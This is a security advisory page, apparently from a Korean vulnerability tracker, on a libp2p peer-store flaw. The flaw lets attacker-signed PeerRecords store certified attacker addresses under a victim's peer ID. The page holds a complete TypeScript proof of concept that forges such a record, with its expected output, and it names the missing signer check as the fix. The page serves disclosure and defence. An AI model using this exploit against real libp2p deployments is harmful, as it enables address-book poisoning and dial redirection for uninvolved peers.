libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L상세 설명
Summary
@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.
Details
The vulnerable code is in packages/peer-store/src/index.ts:
RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)verifies the envelope signature.const peerId = peerIdFromCID(envelope.publicKey.toCID())derives the envelope signer peer ID.- The optional
expectedPeercheck only comparesexpectedPeerto the envelope signer. const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)decodespeerRecord.peerIdfrom attacker-controlled signed payload bytes.this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })stores the addresses under the payload peer ID, not the verified signer peer ID.
The missing invariant is:
1peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:
1if (!peerRecord.peerId.equals(envelopePeer)) { 2 throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') 3}The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:
1peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.
PoC
1// TypeScript ESM PoC. 2import { strict as assert } from 'node:assert' 3import { generateKeyPair } from '@libp2p/crypto/keys' 4import { defaultLogger } from '@libp2p/logger' 5import { peerIdFromPrivateKey } from '@libp2p/peer-id' 6import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' 7import { persistentPeerStore } from '@libp2p/peer-store' 8import { multiaddr } from '@multiformats/multiaddr' 9import { MemoryDatastore } from 'datastore-core/memory'10import { TypedEventEmitter } from 'main-event'11 12const label = 'Certified peer-record address hijack'13 14async function main (): Promise<void> {15 const localKey = await generateKeyPair('Ed25519')16 const attackerKey = await generateKeyPair('Ed25519')17 const victimKey = await generateKeyPair('Ed25519')18 19 const attacker = peerIdFromPrivateKey(attackerKey)20 const victim = peerIdFromPrivateKey(victimKey)21 const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')22 23 const peerStore = persistentPeerStore({24 peerId: peerIdFromPrivateKey(localKey),25 datastore: new MemoryDatastore(),26 events: new TypedEventEmitter(),27 logger: defaultLogger()28 })29 30 // Payload claims victim, but the envelope is signed by attacker.31 const forgedRecord = new PeerRecord({32 peerId: victim,33 multiaddrs: [attackerAddr],34 seqNumber: 999999n35 })36 const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)37 38 // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.39 const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {40 expectedPeer: attacker41 })42 43 assert.equal(accepted, true)44 45 const poisonedVictim = await peerStore.get(victim)46 assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({47 multiaddr: multiaddr.toString(),48 isCertified49 })), [{50 multiaddr: attackerAddr.toString(),51 isCertified: true52 }])53 54 console.log(`${label} reproduced`)55 console.log(`attacker signer: ${attacker}`)56 console.log(`victim storage key: ${victim}`)57 console.log(`stored certified address: ${attackerAddr}`)58}59 60main().catch(err => {61 console.error(err)62 process.exitCode = 163})Expected output:
1Certified peer-record address hijack reproduced 2attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj 3victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn 4stored certified address: /ip4/203.0.113.66/tcp/4001Impact
Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.
This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…